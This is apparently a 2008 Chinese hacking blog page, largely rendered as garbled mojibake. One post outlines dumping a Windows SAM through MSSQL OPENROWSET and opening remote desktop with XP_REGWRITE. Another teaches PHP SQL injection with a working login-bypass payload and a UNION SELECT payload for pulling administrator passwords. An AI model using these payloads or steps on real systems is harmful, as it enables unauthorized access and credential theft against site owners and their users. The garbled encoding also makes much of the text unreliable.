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褰撲綘鐨勬矙鐩掓ā寮忎篃涓嶈兘鐢ㄧ殑鏃跺欓偅涔?鍢垮樋聽(tīng)聽(tīng) ^-^

鎴戜滑璧風(fēng)爜榪樻槸鑳戒粠鐩爣鏈哄櫒涓婃嬁鐐逛粈涔堜笢瑗跨殑鍢?姣斿璇碨AM鍟妦鍛靛懙

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棣栧厛鐢∣PENROWSET榪欎釜鍑芥暟鎶奡AM鐨勫唴瀹規(guī)毚鍑烘潵

鐒跺悗澶嶅埗鍐呭,鏈湴鏂板緩涓猄AM鎶婂鍒剁殑鍐呭瀵艱繘鍘?淇濆瓨,鐩稿綋涓庢妸鐩爣鏈哄瓙鐨凷AM緇欎笅涓嬫潵,鐒跺悗鏆村惂~~鎶婄鐞嗗憳鐨勫瘑鐮佹毚鍑烘潵,鎺ョ潃鐢╔P_REGWRITE鎶?389绔彛寮浜?jiǎn)灏卞ソ浜?jiǎn)

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聽(tīng)

鍏跺疄寮3389鐨勬椂鍊欒繕浼?xì)閬囧埌寰堝鎯呭?鐢變簬鎴戞病瀹炶返,鎵浠ユ病浠涔堝ソ璇寸殑浜?濡傛灉澶у浠ュ悗閬囧埌浠涔堣繖鏂歸潰鐨勯棶棰樺彲浠ユ嬁鏉ヤ竴璧瘋璁?鍢垮樋

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鑷充簬鎬庝箞鐮碨AM,OPENROWSET鐨勫嚱鏁扮敤娉曚箣綾葷殑灝變笉璇翠簡(jiǎn)~鍘葷?rùn)惧害涓涓嬪惂~~

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__ay 2008-12-07 16:15 鍙戣〃璇勮
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棣栧厛浠嬬粛涓婼QL鐨剆elect鐨勮娉暵?tīng)聽(tīng)杩欎釜鏄敞鍏ヤ腑闈炲笖R潪甯擱噸瑕佺殑璇硶錛岃搗鐮丳HP娉ㄥ叆涓殑50錛呭乏鍙抽兘鏄氳繃榪欎釜鍔ㄤ綔瀹屾垚鐨?br />
鍏堣璇磋娉?br /> select 錛誨瓧孌靛悕錛?from 錛昏〃鍚嶏冀 where 錛婚檺鍒舵潯浠訛冀

鐪嬩笉鏄庣櫧錛熷懙鍛德?tīng)聽(tīng)鎷夸釜渚嬪瓙璇磋瘽灏辩煡閬撲簡(jiǎn)銆?br />
鍋囪鎴戜滑1涓暟鎹簱閲岄潰鏈変釜琛紝琛ㄥ悕鏄痷ser聽(tīng)聽(tīng)琛ㄩ噷闈㈡湁2涓瓧孌碉紝1涓槸psw 涓涓槸username
閭d箞聽(tīng) 聽(tīng) select username from user聽(tīng)聽(tīng)榪斿洖鐨勭粨鏋滄槸榪欎釜琛ㄩ噷闈㈢殑鎵鏈夌敤鎴峰悕
select psw from user聽(tīng)聽(tīng)榪斿洖鐨勭粨鏋滄槸榪欎釜琛ㄩ噷闈㈢殑鎵鏈夊瘑鐮侊紝
閭d箞浣犳兂寰楀埌鏌愪釜鐢ㄦ埛鍚嶇殑瀵嗙爜鐨勮瘽濡備笅璇彞鍙互甯綘瀹炵幇
select psw from user where username='浣犳兂瑕佺殑鐢ㄦ埛鍚?

OK 璁茶В瀹屾瘯錛岄偅涔堟垜浠潵璁茶涓涓吀鍨嬬殑渚嬪瓙錛屼竾鑳藉瘑鐮佷笉鐭ラ亾澶у鍚榪囨病鏈夛紝鎴戜滑鏉ョ湅鐪嬩粬鏄庝箞瀹炵幇鐨?br />
$query="select 錛?from user where username='$username' and psw='$psw' and id=1" ;

榪欎釜鏄竴涓狿HP鍏稿瀷鐨勭敤鎴烽獙璇佽鍙?br /> 鎴戜滑杈撳叆鐨劼?tīng)聽(tīng)鐢ㄦ埛鍚嶄細(xì)琚佸叆鍒皍sername 榪欎釜鍙橀噺涓紝鑰屽瘑鐮佷細(xì)琚佸叆鍒皃sw榪欎釜鍙橀噺涓?br /> 閭d箞鎴戜滑鍋囪鐜板湪鎵嬪ご娌℃湁鐢ㄦ埛鍚嶅瘑鐮侊紝浣嗘槸鎴戜滑鍙堟兂榪涘幓錛岄偅鎬庝箞鍔炲憿錛?br /> 鎴戜滑鐜版潵瑙傚療涓嬭繖涓鍙ワ紝榪欎釜鏄竴涓猻ql璇彞錛屼篃鍗蟲槸璇村畠浼?xì)琚佸埌鏁版嵁搴撻噷闈㈡墽琛岋紝閭d箞鎴戜滑鍙閫氳繃鏌愮鏂規(guī)硶浣垮緱鍦ㄤ笉鐢ㄧ敤鎴峰悕鍜屽瘑鐮佺殑鎯呭喌涓嬶紝浣胯繖涓鍙ヤ負(fù)鐪熷氨鍙互浜?jiǎn)銆傚巻鍙茶瘉鏄庤繖涔堟兂鏄彲琛岀殑錛岀湅涓嶆槑鐧斤紵鐪嬩緥瀛愩?br /> 姣斿鎴戜滑杈撳叆鐨勭敤鎴峰悕瀵嗙爜濡備笅錛?br />
鐢ㄦ埛鍚嵚?tīng)?or '1'='1' #
瀵嗙爜聽(tīng)聽(tīng)闅忎究濉?br />
娉細(xì)#鏄痵ql璇彞閲岄潰鐨勬敞閲婄

閭d箞鎴戜滑鐨剆ql璇彞浼?xì)鍙樻垚杩欐狓P細(xì)

$query="select 錛?from user where username=''or '1'='1' #鈥?and psw='闅忎究鍐? and id=1" ;


鐪嬪埌娌℃湁錛熺孩鑹叉爣娉ㄧ殑鏄垜浠緭鍏ョ殑鐢ㄦ埛鍚?绱壊鏍囨敞鐨勬槸琚敞閲婃帀鐨勪笢瑗?br /> 鎴戜滑鏉ュ垎鏋愪笅榪欎釜鍙ュ瓙錛屸?鈥橈紳鈥?鈥樿繖鏄案榪滄垚绔嬬殑聽(tīng)聽(tīng)閭d箞涓嶇鍓嶉潰鐨剈sername瀵逛笉瀵硅繖涓昏緫鍒ゆ柇姘歌繙閮芥槸鐪熺殑錛岃屽悗闈㈤獙璇佸瘑鐮佺殑閭d簺涓滆タ閮借 娉ㄩ噴鎺変簡(jiǎn)錛屼篃灝辨槸璇磋繖鏍瘋嚜鎴戜滑鐨凷QL璇彞鏄湁榪斿洖鐨勬暟鎹殑錛岃屼笖涓鑸鐞嗗憳鐨勪俊鎭兘鏄湪user琛ㄤ腑鐨勭涓涓紝涔熷氨鏄榪欎釜鏃跺?query榪欎釜鍙橀噺涓? 灝卞偍瀛樹簡(jiǎn)綆$悊鍛樼殑鐢ㄦ埛淇℃伅錛屼笅闈㈢殑紼嬪簭涓鐪嬪埌鏄鐞嗗憳鐨勪俊鎭紝閭d箞灝變細(xì)鑷姩璺寵漿鍒扮鐞嗗憳鐨勭敤鎴風(fēng)晫闈㈣繃鍘諱簡(jiǎn)銆?br />
涔熷氨鏄錛屾垜浠揪鍒頒簡(jiǎn)涓嶇敤綆$悊鍛樺笎鎴峰瘑鐮佺櫥鍏ヤ簡(jiǎn)綆$悊鍛樼殑鍚庡彴鐣岄潰锝烇紒鍛靛懙鏄笉鏄緢紲炲鍛紵

閭d箞鍐嶆潵涓涓緥瀛?br />
濡傛灉PHP涓湁涓鍙ユ槸榪欐牱鐨?br />
$query="select tittle,content from user where id=".$id ;


鍋囪鎴戜滑鍙互鏀?id榪欎釜鍙橀噺聽(tīng)聽(tīng)鑰屼笖鎴戜滑鐭ラ亾琛╱ser閲岄潰瀛樻斁鐫綆$悊鍛樺瘑鐮侊紝閭d箞榪欎釜鏃跺欐垜浠篃鍙互鎶婄鐞嗗憳甯愬彿鍜屽瘑鐮佸紕鍒版墜

涓嶄俊錛?br />
鎴戜滑鐜版潵鐪嬬湅union榪欎釜璇硶聽(tīng)聽(tīng)榪欎釜鏄?tīng)聽(tīng)杩炴?涓猻elect鐢ㄧ殑璇硶錛岃繖鏍風(fēng)殑璇濆彲浠ヨ繑鍥?涓猻elect鐨勪俊鎭?br />
姣斿

select * from user union select * from topic
錛堜笉鐭ラ亾瀵逛笉瀵孤?tīng)聽(tīng)鎳掑緱鏌ヤ簡(jiǎn)聽(tīng)聽(tīng)澶ф灏睒q欐牱錛?br /> 閭d箞榪欎釜璇彞鐨勭粨鏋滄槸榪斿洖2涓〃閲岄潰鐨勬墍鏈夊瓧孌典俊鎭?br />
娉細(xì)*鏄粺閰嶇聽(tīng)聽(tīng)涔熷氨鏄*琛ㄧず鎵鏈壜?tīng)聽(tīng)select * from user 灝辨槸璇存妸user琛ㄩ噷闈㈢殑鍐呭鍏ㄩ儴榪斿洖榪囨潵

閭d箞鎴戜滑杈撳叆鐨勫彉閲?id鐨勪俊鎭彲浠ユ槸榪欐牱

2 and 1=2 union select psw from user where username='綆$悊鍛樺笎鍙?

閭d箞瀵嗙爜灝卞彲浠ユ毚鍑烘潵浜?jiǎn)聽(tīng)聽(tīng)浣嗘槸绾㈣壊鏍囨敞鐨勯偅涓湴鏂圭殑psw閭i噷蹇呴』娉ㄦ剰錛屾瘮濡備綘鍓嶉潰鐨剆elect鏄悳鍑?涓瓧孌電殑淇℃伅錛岄偅涔堜綘鍚庨潰鐨剆elect涔熷繀欏誨緱鏄?涓瓧孌電殑淇℃伅

姣斿
select tittle,content from user where id=".$id ;榪欎釜璇彞錛屾垜浠~鍏呭悗鐨勮鍙ュ繀欏繪槸

select tittle,content from user where id=2 and 1=2 union select 1錛宲sw from user where username='綆$悊鍛樺笎鍙?

榪欐牱錛屽墠闈㈢殑select榪斿洖鐨勬槸2涓瓧孌德?tīng)聽(tīng)鎴戜滑鍚庨潰鐨剆elect蹇呴』榪斿洖2涓瓧孌碉紝濡傛灉瀛楁鏁頒笉澶熷氨鐢?濉厖錛屽氨鍚戜笂闈㈢殑渚嬪瓙涓鏍?br />
涔嬫墍浠ヨ1錛?鏄簲涓烘垜浠繀欏昏璁╁墠闈㈢殑淇℃伅涓嶈兘鏄劇ず錛屾垜浠悗闈elect璇彞鐨勪俊鎭墠鑳芥樉紺哄嚭鏉ワ紝濡傛灉瑕乤nd鍚庨潰鏄?錛?鐨勮瘽鍓嶉潰鐨剆elect璇彞鐢熸晥錛屽氨涓嶄細(xì)鏄劇ず鎴戜滑鍚庨潰鐨剆elect璇彞鐨勫唴瀹逛簡(jiǎn)聽(tīng)聽(tīng)鍛靛懙


__ay 2008-12-07 16:12 鍙戣〃璇勮
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